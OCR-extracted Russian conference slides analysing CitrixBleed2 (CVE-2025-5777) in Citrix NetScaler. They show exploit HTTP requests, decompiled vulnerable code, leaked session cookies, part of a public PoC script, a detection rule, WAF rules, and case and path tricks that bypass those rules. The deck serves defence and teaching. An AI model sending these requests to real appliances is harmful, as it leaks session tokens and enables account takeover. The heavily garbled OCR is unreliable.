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CVE-2023-4966 (Citrix Bleed) STANDOF3 |\
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YMeHue U3BneKaTb YPOKM (404 Not Found) STANDOF3 A2
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A NapuyuK NPocTo oTKpbiBanca (1/4) sTANDOF \AW

Request Response

Pretty Raw Hex Hackvertor & n = Pretty Raw Hackvertor
POST /p/u/doAuthentication.do HTTP/1.1 sLnpuLs
Host: target <Text>
Content-Length: 128 <ReadOnly>

Content-Type: application/x-www-form-urlencoded; false
</ReadOnly>
charset=UTF-8 E
Al : <InitialValue>
Priority: u=1l, 1
testuser
FIInitialValue}

login=testuser&passwd=passwordl23&savecredentials=false& ionstraine
nsg-x1-logon-button=Log+0On&StateContext= =P

bG9nalW5zY2h1bWESZGYmYXVsdA%3D%3D ¢fConstraint>
</Text>

</Input>
</Requirement>
<Requirement>

<Credential>
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A NapumK Npocro oTKpbiBanca (1/4) STANDOF3 \N\

Request Response

Pretty Raw Hex Hackvertor & n = Pretty Raw Hackvertor

POST| /p/u/doAuthentication.do |HTTP/1.1 ‘*;“P:U

Host: target <lex }H g
Content-Length: 128 <ReadUnly>

Content-Type: application/x-www-form-urlencoded; . ;glie
charset=UTF-8 </ReadOnly>

Al . <Initialvalue>
Priority: u=1, 1
testuser
FIInitialValue}
<Constraint>
«F
<fConstraint>
</Text>
</Input>
</Requirement>
<Requirement>
<Credential>

LN e N N R

GO = O

login=testuser&passwd=passwordl23&savecredentials=false&
nsg-x1-logon-button=Log+0On&StateContext=
bG9naW5zY2h1bWESZGVmYXVsdA%3D%3D




A NapuyunK NPoCTo OTKpbiBanca (2/4) sTANDOF \AW

Request Response
Pretty Raw Hex Hackvertor & \n = Pretty Raw Hex Hackvertor
POST /p/u/doAuthentication.do HTTP/1.1 </Label>
Host: target <Input>
Content-Length: 14 <Text>
Content-Type: application/x-www-form-urlencoded; <ReadOnly>
charset=UTF-8 false
; Priority: u=1, i </ReadOnly>
<InitialValue>
testuser
</Initialvalue>
<Constraint>
.+
<fConstraint>
</Text>»
</Input>
</Requirement>
<Requirement>

login=testuser




A NapuyunK NPoCTo OTKpbiBanca (2/4) sTANDOF \AW

Request Response
Pretty Raw Hex Hackvertor & \n = Pretty Raw Hex Hackvertor
POST /p/u/doAuthentication.do HTTP/1.1 </Label>
Host: target <Input>
Content-Length: 14 <Text>
Content-Type: application/x-www-form-urlencoded; <ReadOnly>

charset=UTF-8 false
; Priority: u=1, i </ReadOnly>
<InitialValue>

-
1Dgin </InitialValue>

<Constraint>
o
</Constraint>
</Text>
</Input>
</Requirement>
<Requirement>




A NapuuK NpocTo oTKpbiBanca (3/4) sTANDOF \AW

Request Response

Pretty Raw Hex Hackvertor w8 n = Pretty Raw ( Hackvertor
POST /p/u/doAuthentication.do HTTP/1.1 H;Hp;Lf
Host: target <Text>

. Content-Length: 6 <ReadOnly>

Content-Type: application/x-www-form-urlencoded; n ;glie
charset=UTF-8 </ReadOnly>

R . Initialvalue>
| Priority: u=1, 1 R
</InitialValue>
<Constraint>
.+
<fConstraint>
</Text>
</Input>
</Requirement>
<Requirement>
<Credential>
<ID>




A NnapuuK Npocro oTkpbiBanca (4/4) STANDOFT R\

Request Response

Pretty Raw Hex Hackvertor 3& \n = Pretty Raw ex Hackvertor

1 POST /p/u/doAuthentication.do HTTP/1.1 TR

= <Text>

? Host: target ¢ReadOnly
3 Content-Length: 5 ﬂ”cak;nlj}
1 Content-Type: application/x-www-form-urlencoded; e

charset=UTE-8 <!H?aqUnly>
i . ¢<InitialValue>
5 Priority: u=1, i

2y , DEU jU2urdzB By >~aBAGwe }é )KBEEOE *@HghUEE ? / | 2EHEQE - GUEE y9quo
£00 |Op) u@
</InitialValue>
<Constraint>
ok
<fConstraint>
</Text>
</Input>
</Requirement>
<Requirement>
<Credential>
<ID>

Mpumep yTeukmn namatn y Citrix Netscaler B pesynbrate akcnayatauum CitrixBleed2



3anuiLMTe B TETPaAKY, A 3aBTpa 3aHecy  STANDOFI\RR

if (postData->hasField('login')) {
loginContext->hasUsername |= 0x10;

// "We saw the login field, so mark that we have a username”



J1eHbru e KOHe4YyHo, HUKTO He 3aHecC

void FUN_@8550bf@(long param_1, byte #param_2) {

?EILoad globals

long 1War7 = DAT_@2e34a68;

uint local 3c = @;

// Request data structure

// =param_2 == length of login string

// param_2 + @x48 == pointer to login string

// This null terminates the username to cap the length of the username to 127 characters
param_2[(ulong)*param 2 + @x48] = @;

// Some validatation and error handling

// Determine the postback URLs based on the authentication type
const char #postBack = (param_2[@x44] == 8 && (param_2[6] & 4)) ¢
"/nffauth/doAuthentication.do" :
"/pfu/doduthentication.do" ;

const char #cancelBack = (param 2 [@xd44] == 8 && (param_2[6] & 4)) 7
"/nffauth/doLogoff.do" :
"/p/u/doLogoff.do";

sTANDOFI \N\W

Jf Start building the XML response

uVard = FUN_81ddca5@8(1Var7,
"<7xml version=\"1.0\"T=<AuthenticateResponse=<5tatus=success</5tatus="
"zResult>more-info</Result><StateContext>basebd==</S5tateContext="
"<AuthenticationBequirements>=<PostBack=%s</PostBack=<CancelPostBack=%s</CancelPostBack=
"<CancelButtonText=Cancel</CancelButtonText><Requirements>",

postBack, cancelBack);

/f Copy the supplied username into the XML response

iVar5 = FUM_@lddcaS@( (ulong)uVard + 1var7,
"<Requirement><Credential><ID>login</ID><Type>username</Type></Credential>"
"<Input=<Text=<InitialValue=%.%s5</InitialValue></Text=</Input>=</Requirement=",
*param_2, param_2 + @x48);

/f More stuff



Mbl AOBONbHbI CBOEN PaboTOU MaKcMma/ZibHO. STANDOF3 NS
Ho, K co)kaneHuto, Halwla pabora He aAana pe3ynbraTtos

Request Response

Raw Hex Hackvertor \n = Pretty Raw Hex Hackvertor
1 POST /p/ufdoAuthentication.do HTTP/1.8 <Type>
7 Host: 54.169.2.187 nsg-login-label
3 User-Agent: </Type>
watchTowrwatchTowrwatchTowrwatchTowrwatchTowrwatchTowrwatchTowrwatchTowrwatchTo </Label>
wPwatchTowrwatchTowrwatchTowq <Input>
4 Content-Length: 5 <Text>
5 Connection: keep-alive <ReadOnly>
6 false
7 login </ReadOnly>
<Initialvalue>
E | E4CE+PkORYsaSEPAD - ~EIEDE | @2EIEZEGY@E ~"F1YUAE7KERg -08@E4~hL1
{X6évn~EDU - B1EESEdp } ° $EGUEC ) 7 { +xE4eApAgc i TowrwatchTowrw
</Initialvalue>
<Constraint>
o+
<fConstraint>
</Text>
</Input>
</Requirement>
<Reguirement>
<Credential>
<ID>

“It’s important to note that during our testing, no cookies, session IDs, or passwords
were found in the leaked content.” © watchTowr




Ycnexu cbiIHa MaMUHOU NOAPYrn STANDOFT R\

o0 @© e v

<« X [portalfhomepage2.html b+ B G 9 £ Incognito

Hello, test_user v

@ web Apps

(vevn) =+ python bleed2.py
[+] Leaking data via https://TARGET/p/u/doAuthentication.do
[+] Found something interesting:
[+] b'g1i/getHomepageConfig HTTP/1.1\r\nHost: TARGET\r\nCookie: NSC_AAAC=7a@fbd1b975957f6abde5543273e8c440090a0dbed5525d5f4f58455e445"
[+] Found something interesting:
[+] b'gi/Resources/List HTTP/1.1\r\nHost: TARGET\r\nCookie: NSC_AAAC=7a@fbd1b375957 fbabde5543273e8c440090a0dbed5525d5F4F58455e44504a"
Found something interesting:

b'gi/Resources/List HTTP/1.1\r\nHost: TARGET\r\nCookie: NSC
Found something interesting:

b'gi/Resources/List HTTP/1.1\r\nHost: TARGET\r\nCookie: NSC_AAAC=700fbd1b375957f6abde5543273e8c440090a8dbedS52545F4f58455e44504a’
Found something interesting:

b'gi/Resources/List HTTP/1.1\r\nHost: TARGET\r\nCookie: NSC_AAAC=7adfbd1b975957f6abde5543273e8c440830a0dbed5525d5f4f58455e44504a"
Found something interesting:

b'ogon/themes/X1/css/custom.css HTTP/1.1\r\nHost: TARGET\r\nCookie: NSC_AAAC=7a@fbd1b975957f6abde5543273e8c440030a0dbe45525d5f4f"

—_—
+

+

AAAC=700fbd10975957 f6abdeS543273e8c440090a0dbed5525d5f4F58455e44504a’

+

+

+ +
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MepBsble nybanyHbie PoC-aKkcnaontbl STANDOF |\,

CitrixBleed2_POC / CitrixBleed2.py &

{ G oways Create CitrixBleed2.py

SN
‘ Code ‘ Blame | 49 lines (41 loc) - 1.83 KB |$| ‘ Rar
1 import requests
2 import re
3 import argparse
4 from urllib3.exceptions import InsecureRequestWarning
5
6 # Suppress SSL warnings
7 requests.packages.urllib3.disable warnings(category=InsecureRequestiarning)
8
9 v def main():
10 parser = argparse.ArgumentParser(description="Citrix Initialvalue PoC with random header brute-force.™)
11 parser.add argument("host™, help="Target Citrix host, e.g., https://citrix.example.com™)
12 parser.add argument("count™, type=int, help="Number of random values to try (starting from 1)")
13 args = parser.parse_args()
14
15 url = args.host.rstrip("/") + "/p/u/doAuthentication.do”
16 data = "login"
17 user_agent = "owaysX" * 100
18
19 print(f"[*] Target: {url}")
AW ESOM E EXPLOIT 20 print(f"[*] Trying {args.count} requests\n")
21




MepBsble nybanyHbie PoC-aKkcnaontbl STANDOF |\,

CitrixBleed2_POC / CitrixBleed2.py &

{ G oways Create CitrixBleed2.py

SN
‘ Code ‘ Blame | 49 lines (41 loc) - 1.83 KB |$| ‘ Rar
1 import requests
2 import re
3 import argparse
4 from urllib3
5 = - X" * 100
C e s USEF _Adfent =  OWAY5
7 requests.pac
8
9 v def main():
10 parser = argparse.Argumel on="Citrix Initialvalue PoC with random header brute-force.")
11 parser.add argument("host ¢ Ccitrix host, e.g., https://citrix.example.com™)
12 parser.add argument("coun /, help="Number of random values to try (starting from 1)")
13 args = parser.parse_args(
14
15 url = args.host.rstrip("/" "/p/u/doAuthentication.do”
16 data = "login"
17 user_agent = "owaysX" * 100
18
19 print(f"[*] Target: {url}")
AW ESOM E EXPLOIT 20 print(f"[*] Trying {args.count} requests\n")
21




PekomeHaaumm no 3awmre STANDOF |\,

Kak sallMTuTbhCHA

1. YcTaHOBUTE odULManbHble NaTun. YA3BMMOCTb YCTpaHeHa B HOBbIX Bepcuax Citrix NetScaler ADC
n Citrix NetScaler Gateway.

2. NMpoBepbTe cneabl aKcriyaTauum 3Tou YA3SBUMOCTU. [NaBHbIN MHOUKATOP — aHOMallbHOEe KOJTMYECTBO
3anpocoB K nytM /p/u/doAuthentication.do c HEKOpPPEKTHO CHOPMUPOBAHHBIM TESIOM 3aMpPOoCa
(y napaMeTpa login OTCYTCTBYeT 3HaK paBeHcTBa ( = )).

3. Ucnonb3yiTe anbTepHaTUBHOE pelueHune. HanpuMep, WAF ons orpaHuyYeHns 3anpocoB K nytn /p/
u/doAuthentication.do , He cogep)almx 3HaK paBeHcTBa ( = ) nocne POST-napamMeTtpa login .

CooTBeTCcTBYIOLWME NpaBuna gn4a 6J'IOKI/IpOBKI/1 dTaKWN y>Xe npmMeHeHbl 4,14 BCexX KITMEHTOB



Mpumep nybanyHbix npasun ana SIEM STANDOF3 |\

alert http any any -> any any (msg: " R

(CVE-2025-5777)"; flow: established, to_server; http.method; content: "POST"; http.uri; content: "/p/u/
doAuthentication.do"; fast_pattern; http.request_body; content: "login"; endswith; flowbits: set,
CitrixBleed2.Attempt; threshold: type limit, track by _dst, count 1, seconds 60; reference: cve, 2025-5777,
reference: url, horizon3.ai/attack-research/attack-blogs/cve-2025-5777-citrixbleed-2-write-up-maybe/;
reference: url, github.com/win3zz/CVE-2025-5777; reference: : classtype:

attempted-admin; )



Mpumep nybanyHbix npasun ana SIEM STANDOF3 |\

alert http any any -> any any (msg: " R

(CVE-2025-5777)"; flow: established, to_server; http.method; content: "POST"; http.uri; content: "/p/u/
doAuthentication.do"; fast_pattern; http.request_body; content: "login"; endswith; flowbits: set,
CitrixBleed2.Attempt; threshold: type limit, track by _dst, count 1, seconds 60; reference: cve, 2025-5777,
reference: url, horizon3.ai/attack-research/attack-blogs/cve-2025-5777-citrixbleed-2-write-up-maybe/;
reference: url, github.com/win3zz/CVE-2025-5777; reference: : classtype:

attempted-admin; )



Koraa npymeHun pekomeHaaLmMm BeHaopa STANDOFA \R\

Request
Pretty Raw  Hex
| POST /p/u/doRuthentication.do HTTP/1.1
Host: target
Content-Length: 5
| Content-Type: application/x-www-form-urlencoded;
> Priority: u=1, 1
Connection: keep-alive

@L<« >

Response
i Pretty Raw Hex Render
| 1 HTTP/1.1 403 Forbidden
| 2 Connection: close

:\f /@ ﬂ (m m“bl A V\Ih '\ 3 Content-Length:
L Ly 48 A1) | I 4 Content-Type: text/




Koraa npymeHun pekomeHaaLmMm BeHaopa STANDOFA \R\

Request
Pretty Raw  Hex
| POST /p/u/doRuthentication.do HTTP/1.1
Host: target
Content-Length: 5
| Content-Type: application/x-www-form-urlencoded;
> Priority: u=1, 1
Connection: keep-alive

@L<« >

Response

i Pretty Raw Hex Render

i 1 HTTP/1.1[403 Forbidden]
2 Connection: close

:\f /@ ﬂ (m m“bl A V\Ih '\ 3 Content-Length:
L Ly 48 A1) | I 4 Content-Type: text/




Cnacubo!




A Tebe LoGIN, a Tbl MHe Kpeabl? Mowno? STANDOFI NS

napb, He B macTtb Tebe WAF

MCNO/b30BaTb, AAaBaiA NYCKaW
Pretty  Raw
| POST /p,

ded; charset=UTF-8

LOG1N

O

Response
Pretty = Raw  Hex

</ReadOnly>
<InitialvValue>
I0wxPO/0-*0@U11H?FOADO 5
©IéMO£=¢é | pékDO¢Id>hk; ;ne O] iyDOUD:
</Initialvalue>
<Constraint>




A Tebe LoGIN, a Tbl MHe Kpeabl? Mowno? STANDOFI NS

napb, He B macTtb Tebe WAF
AaBan nycKam

ncoded; charset=UTF-8

Response
Pretty = Raw

alue>
xPO/t-0@U11H?FOAO°CAy04a 3 AAEIOB" YqiKinsh:alac
©IéMO£=é | pekDO¢Ié>hk;; ne O
</Initialvalue>
<Constraint>




EcTb NPOPOK B CBOEM OTeyecTse STANDOF R\

Kak pa6oTtaet akcnnyatauus
— OTnpa.nseTca crneyyanbHO CKOHCTPYMpoBaHHbIN POST-3anpoc
Ha 3HANOUHT /p/u/doAuthentication.do 6e3 HeobxoaAMMOCT
ayTeHTUPUKaLW.
— B napameTtp Login nepepaércs cTpoka 6e3 3Haka paBeHCTBa U
3HayveHUs, Login MOXeT nepefaBaTbCA B pa3HOM perucrpe,
Hanpumep, Login. Kak pa3 Takas aTaka Ha CKpUHLLOTe.

[NepBble ynomurHaHusA o PoC nosBUAnCb 0KO0 TPEX HeZeslb Ha3aj,
HO B CeTU O CUX NMOP HaXOAAT YA3BMMbIe YCTPOMCTBA. Ha ceroaHs
N3BeCTHO O 14 Ny6ANYHbBIX 3KCMIONTax 1 ABYX LWabnoHax Ans
ckaHepa yassumMocTn Nuclei. CaMblii CBEXNW SKCMIONT
onyb/MKOBaH yeTblpe AHA Ha3aj. HacToATenbHO pekoMeHAyeM
06HOBUTBLCS /.

Kak 3alymntutbcs
Ha WAF MoXHO HanucaTtb npasunio, kotopoe bioknpyet POST—
3anpocbl Ha URI /p/u/doAuthentication.do c Body, coctoawmm

TO/NIbKO 13 NapameTpa Login B pa3HbIX perncrpax.
https://t.me/four_rays/118 l




EcTb NPOPOK B CBOEM OTeyecTse STANDOF R\

Kak pa6oTtaet akcnnyatauus
— OTnpa.nseTca crneyyanbHO CKOHCTPYMpoBaHHbIN POST-3anpoc
Ha 3HANOUHT /p/u/doAuthentication.do 6e3 HeobxoaAMMOCT
ayTeHTUPUKaLW.
— B napameTtp Login nepepaércs cTpoka 6e3 3Haka paBeHCTBa U
3HayveHUs, Login MOXeT nepefaBaTbCA B pa3HOM perucrpe,
Hanpumep, Login. Kak pa3 Takas aTaka Ha CKpUHLLOTe.

[NepBble ynomurHaHusA o PoC nosBUAnCb 0KO0 TPEX HeZeslb Ha3aj,
HO B CeTU O CUX NMOP HaXOAAT YA3BMMbIe YCTPOMCTBA. Ha ceroaHs
N3BeCTHO O 14 Ny6ANYHbBIX 3KCMIONTax 1 ABYX LWabnoHax Ans
ckaHepa yassumMocTn Nuclei. CaMblii CBEXNW SKCMIONT
onyb/MKOBaH yeTblpe AHA Ha3aj. HacToATenbHO pekoMeHAyeM
06HOBUTBLCS /.

Kak 3alymntutbcs
Ha WAF MoXHO HanucaTtb npasunio, kotopoe bioknpyet POST—
3anpocbl Ha URI /p/u/doAuthentication.do c Body, coctoawmm

TO/NIbKO 13 NapameTpa Login B pa3HbIX perncrpax.
https://t.me/four_rays/118 l




Tenepb TO A 3awimLleH! STANDOF3 \N\

Request

Pretty Raw Hex
POST /p/u/doAuthentication.do HTTP/1.1
Host: >
Content-Length:
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Priority: u=1l, 1
Connection: keep-alive

Response

Pretty Raw Hex Render
HTTP/1.1 403 Forbidden
Connection: close
Content-Length:
Content-Type: text/html




sTANDOFI \N\W

Request
Pretty ¥ Raw  Hex
POSTI/nf/auth/doAuthentication.doIHTTP/1.l
Host: Target
Content-Length: 5
| Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Priority: u=1, 1i
Connection: keep-alive

LoG1N

OGS

Response
Pretty ¥ Raw  Hex

</ReadOnly>
<InitialValue>
z0a0i0u101Tg
©31sv?» | 06G | POImAO-60) GOLOp : yOetO<ODOH?*oOni { 1@8V«b6] * 30odpN, [ xtoMOU70
00623*Tu{PPOA3Xad2aF~P}</InitialValue>
<Constraint>
.

;

</Constraint>




POKyC BHUMAHUA CMELLEH TO/IbKO HAa OAMH U3 aByx  STANDOFS 1\\\4%

\

nyren aytTeHTMduKauum

=1 /p/u/doAuthentication.do
o Vi

---------

.| Common WAF rules
":“‘“.*‘ ~ .\:- N - - -

e p - .
4 .

. . » -
e

o ——
: ‘Q “‘ "' >
* _( -

/nf/auth/doAuthentication.do |




OTKyaa B34/1CA BTOPOU NYTb? STANDOF3 |\

r‘"@\ cyberplace.social l/] CCnh e.ﬂIO BadTeé/ib
= https:/icyberplace.social » ... - [lepeBecTn aTy CTpaH1uy ¢
Kevin Beaumont: "Exploitation IOCs for CVE-2025..." —_ PasBepHyn B
7 vion. 2025 . — My own honeypot only sees activity from Private VPN. No ... Most POST /p/u/ M HTe p HeTe h on eypOt
doAuthentication.do, some POST /nflauth/doAuthentication.do. nn O,LI,EI'I NICS CBOMMU
L HaxoAKamu
Azioni di rilevamento
Per evidenziare eventuali indicatori di possibili exploit o scanning, verificare nei log HTTP (web I/I H (I)O pN\a L|||/|F| oT
se;ver, re;zr; DFO);\/ o NetScaler stesso) o nei sistemi di logging di sicurezza (SIEM, FPC, ecc...) areHTCTBAa
richieste configurate come segue: -
——> Ha LNOHA/IbHOWU
¢ (Content-Length < 6;
— KnbepbesonacHoCTH
o /p/u/doAuthentication.do; MTafl 717

© /nf/auth/doAuthentication.do;

© o similari (@anche con parametri).

+ MOKeT BbITb OH NPOCTO Yy Bac UCNOAb3yeTcA No ymondaHuo ~\ (V) /-



Yto Mbl TENEepb 3HaeM Npo STANDOFT |\,

skcnayataumto Citrix Bleed 2

MyTh no Kotopbim 6bIOT XaKepbl

/nf/auth/doAuthentication.do
/p/u/doAuthentication.do

Teno 3anpoca cogepur

npocTto cnoso login (pernctp moxet 6bITb /1H0ObIM)



Ma-al

Request
Pretty Raw  Hex

3 LoG1N

O® ¢ >

Response

Pretty Raw

onstraint>

sTANDOF3 \N\&

application/z-www-form-urlencoded; charset=UTF-8

va -z0O,00 - D’En 04VAA ONe%re{é.yqud;~0Ox0~ '&£0s0OLx]
\YE#FU; dqe¥ane



MNa-al STANDOFA 1\\\4%

Request
Pretty Raw  Hex

1 POST /nF/aUtH/dOaUtHeNtIcAtIoN.dO HTTP/1.1
2 Host:

ent-L 1: 5
applicafion/xWgw-form-urlencoded; charset=UTF-8

.ultenthypé:
lority: u=

Response
Pretty Raw




Yto Mbl TENEepb 3HaeM Npo STANDOFT |\,

sKkcnayataumio Citrix Bleed 2 (v2)

MyTh no Kotopbim 6bIOT XaKepbl

/nf/auth/doAuthentication.do

/p/u/doAuthentication.do
perncTp moxet 6biTb 1106bIM!

Teno 3anpoca cogepur

npocTo cnoBo login



3aKoueHue sTANDOF \AWY

YcTaHOBKa obHOBNEeHUN 6e30nacHOCTH,
CMeHa Kenesku c bonee ceexknm MO

CnpsaTtatb 3a VPN (nycTb aTaKytoT TONbKO
“cBon”

Ncnonb3oBaTtb WAF (noka He npoBepun
PoC-1 U3 gaHHOM Npe3eHTaunm)

| Mcnonb3osaTtb SIEM 1 nepunoanyecku
o ybuBaTtb ceccum

Gogtle =S
& e/ ’




3aKoueHue sTANDOF \AWY
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